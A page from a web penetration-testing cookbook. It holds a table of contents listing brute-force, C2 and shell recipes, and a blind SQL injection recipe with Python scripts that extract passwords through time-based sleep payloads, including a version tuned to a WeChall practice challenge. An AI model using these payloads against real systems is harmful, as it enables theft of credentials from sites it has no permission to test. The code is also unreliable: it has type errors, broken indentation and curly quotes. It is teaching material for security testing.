Table of Contents for
Python Web Penetration Testing Cookbook

Version ebook / Retour

Cover image for bash Cookbook, 2nd Edition Python Web Penetration Testing Cookbook by Dave Mound Published by Packt Publishing, 2015
  1. Cover
  2. Table of Contents
  3. Python Web Penetration Testing Cookbook
  4. Python Web Penetration Testing Cookbook
  5. Credits
  6. About the Authors
  7. About the Reviewers
  8. www.PacktPub.com
  9. Disclamer
  10. Preface
  11. What you need for this book
  12. Who this book is for
  13. Sections
  14. Conventions
  15. Reader feedback
  16. Customer support
  17. 1. Gathering Open Source Intelligence
  18. Gathering information using the Shodan API
  19. Scripting a Google+ API search
  20. Downloading profile pictures using the Google+ API
  21. Harvesting additional results from the Google+ API using pagination
  22. Getting screenshots of websites with QtWebKit
  23. Screenshots based on a port list
  24. Spidering websites
  25. 2. Enumeration
  26. Performing a ping sweep with Scapy
  27. Scanning with Scapy
  28. Checking username validity
  29. Brute forcing usernames
  30. Enumerating files
  31. Brute forcing passwords
  32. Generating e-mail addresses from names
  33. Finding e-mail addresses from web pages
  34. Finding comments in source code
  35. 3. Vulnerability Identification
  36. Automated URL-based Directory Traversal
  37. Automated URL-based Cross-site scripting
  38. Automated parameter-based Cross-site scripting
  39. Automated fuzzing
  40. jQuery checking
  41. Header-based Cross-site scripting
  42. Shellshock checking
  43. 4. SQL Injection
  44. Checking jitter
  45. Identifying URL-based SQLi
  46. Exploiting Boolean SQLi
  47. Exploiting Blind SQL Injection
  48. Encoding payloads
  49. 5. Web Header Manipulation
  50. Testing HTTP methods
  51. Fingerprinting servers through HTTP headers
  52. Testing for insecure headers
  53. Brute forcing login through the Authorization header
  54. Testing for clickjacking vulnerabilities
  55. Identifying alternative sites by spoofing user agents
  56. Testing for insecure cookie flags
  57. Session fixation through a cookie injection
  58. 6. Image Analysis and Manipulation
  59. Hiding a message using LSB steganography
  60. Extracting messages hidden in LSB
  61. Hiding text in images
  62. Extracting text from images
  63. Enabling command and control using steganography
  64. 7. Encryption and Encoding
  65. Generating an MD5 hash
  66. Generating an SHA 1/128/256 hash
  67. Implementing SHA and MD5 hashes together
  68. Implementing SHA in a real-world scenario
  69. Generating a Bcrypt hash
  70. Cracking an MD5 hash
  71. Encoding with Base64
  72. Encoding with ROT13
  73. Cracking a substitution cipher
  74. Cracking the Atbash cipher
  75. Attacking one-time pad reuse
  76. Predicting a linear congruential generator
  77. Identifying hashes
  78. 8. Payloads and Shells
  79. Extracting data through HTTP requests
  80. Creating an HTTP C2
  81. Creating an FTP C2
  82. Creating an Twitter C2
  83. Creating a simple Netcat shell
  84. 9. Reporting
  85. Converting Nmap XML to CSV
  86. Extracting links from a URL to Maltego
  87. Extracting e-mails to Maltego
  88. Parsing Sslscan into CSV
  89. Generating graphs using plot.ly
  90. Index

Exploiting Blind SQL Injection

Sometimes, life hands you lemons; blind SQL Injection points are some of those lemons. When you're reasonably sure you've found an SQL Injection vulnerability but there are no errors and you can't get it to return your data, in these situations you can use timing commands within SQL to cause the page to pause in returning a response and then use that timing to make judgments about the database and its data.

We will create a script that makes requests to the server and returns differently timed responses, depending on the characters it's requesting. It will then read those times and reassemble strings.

How to do it…

The script is as follows:

import requests

times = []
print “Kicking off the attempt”
cookies = {'cookie name': 'Cookie value'}

payload = {'injection': '\'or sleep char_length(password);#', 'Submit': 'submit'}
req = requests.post('<target url>' data=payload, cookies=cookies)
firstresponsetime = str(req.elapsed.total_seconds)

for x in range(1, firstresponsetime):
  payload = {'injection': '\'or sleep(ord(substr(password, '+str(x)+', 1)));#', 'Submit': 'submit'}
  req = requests.post('<target url>', data=payload, cookies=cookies)
  responsetime = req.elapsed.total_seconds
  a = chr(responsetime)
    times.append(a)
    answer = ''.join(times)
print “Recovered String: “+ answer

How it works…

As ever, we import the required libraries and declare the lists that we need to fill later on. We also have a function here that states that the script has indeed started. With some time-based functions, the user can be left waiting a while. In this script, I have also included cookies using the request library. For this sort of attack, it is likely that authentication is required:

times = []
print “Kicking off the attempt”
cookies = {'cookie name': 'Cookie value'}

We set our payload up in a dictionary along with a submit button. The attack string is simple enough to understand with some explanation. The initial tick has to be escaped to be treated as text within the dictionary. That tick breaks the SQL command initially and allows us to input our own SQL commands. Next, we say that in the event of the first command failing, perform the following command with OR. We then tell the server to sleep for one second for every character in the first row in the password column. Finally, we close the statement with a semicolon and comment out any trailing characters with a hash (or pound if you're American and/or wrong):

payload = {'injection': '\'or sleep char_length(password);#', 'Submit': 'submit'}

We then set length of time the server took to respond as the firstreponsetime parameter. We will use this to understand how many characters we need to brute-force through this method in the following chain:

firstresponsetime = str(req.elapsed).total_seconds

We create a loop that will set x to be all numbers from 1 to the length of the string identified and perform an action for each one. We start from 1 here because MySQL starts counting from 1 rather than zero, like Python:

for x in range(1, firstresponsetime):

We make a similar payload as before, but this time we are saying sleep for the ascii value of X character of the password in the password column, row one. So, if the first character was a lower case a, then the corresponding ascii value is 97, and therefore the system would sleep for 97 seconds. If it was a lower case b, it would sleep for 98 seconds, and so on:

payload = {'injection': '\'or sleep(ord(substr(password, '+str(x)+', 1)));#', 'Submit': 'submit'}

We submit our data each time for each character place in the string:

req = requests.post('<target url>', data=payload, cookies=cookies)

We take the response time from each request to record how long the server sleeps and then convert that time back from an ascii value into a letter:

responsetime = req.elapsed.total_seconds
  a = chr(responsetime)

For each iteration, we print out the password as it is currently known and then eventually print out the full password:

answer = ''.join(times)
print “Recovered String: “+ answer

There's more…

This script provides a framework that can be adapted to many different scenarios. Wechall, the web app challenge website, sets a time-limited, Blind SQLi challenge that has to be completed in a very short time period. The following is our original script, which has been adapted to this environment. As you can see, I've had to account for smaller time differences in differing values and server lag, and also incorporated a checking method to reset the testing value each time and submit it automatically:

import subprocess
import requests

def round_down(num, divisor):
    return num - (num%divisor)

subprocess.Popen([“modprobe pcspkr”], shell=True)
subprocess.Popen([“beep”], shell=True)


values = {'0': '0', '25': '1', '50': '2', '75': '3', '100': '4', '125': '5', '150': '6', '175': '7', '200': '8', '225': '9', '250': 'A', '275': 'B', '300': 'C', '325': 'D', '350': 'E', '375': 'F'}
times = []
answer = “This is the first time”
cookies = {'wc': 'cookie'}
setup = requests.get ('http://www.wechall.net/challenge/blind_lighter/index .php?mo=WeChall&me=Sidebar2&rightpanel=0', cookies=cookies)
y=0
accum=0

while 1:
  reset = requests.get('http://www.wechall.net/challenge/blind_lighter/ index.php?reset=me', cookies=cookies)
  for line in reset.text.splitlines():
    if “last hash” in line:
      print “the old hash was:”+line.split(“ “)[20].strip(“.</li>”)
      print “the guessed hash:”+answer
      print “Attempts reset \n \n”
    for x in range(1, 33):
      payload = {'injection': '\'or IF (ord(substr(password, '+str(x)+', 1)) BETWEEN 48 AND 57,sleep((ord(substr(password, '+str(x)+', 1))- 48)/4),sleep((ord(substr(password, '+str(x)+', 1))- 55)/4));#', 'inject': 'Inject'}
      req = requests.post ('http://www.wechall.net/challenge/blind_lighter/ index.php?ajax=1', data=payload, cookies=cookies)
      responsetime = str(req.elapsed)[5]+str(req.elapsed)[6]+str(req.elapsed)[8]+ str(req.elapsed)[9]
      accum = accum + int(responsetime)
      benchmark = int(15)
      benchmarked = int(responsetime) - benchmark
      rounded = str(round_down(benchmarked, 25))
      if rounded in values:
        a = str(values[rounded])
        times.append(a)
        answer = ''.join(times)
      else:
        print rounded
        rounded = str(“375”)
        a = str(values[rounded])
        times.append(a)
        answer = ''.join(times)
  submission = {'thehash': str(answer), 'mybutton': 'Enter'}
  submit = requests.post('http://www.wechall.net/challenge/blind_lighter/ index.php', data=submission, cookies=cookies)
  print “Attempt: “+str(y)
  print “Time taken: “+str(accum)
  y += 1
  for line in submit.text.splitlines():
    if “slow” in line:
      print line.strip(“<li>”)
    elif “wrong” in line:
      print line.strip(“<li>”)
  if “wrong” not in submit.text:
    print “possible success!”
    #subprocess.Popen([“beep”], shell=True)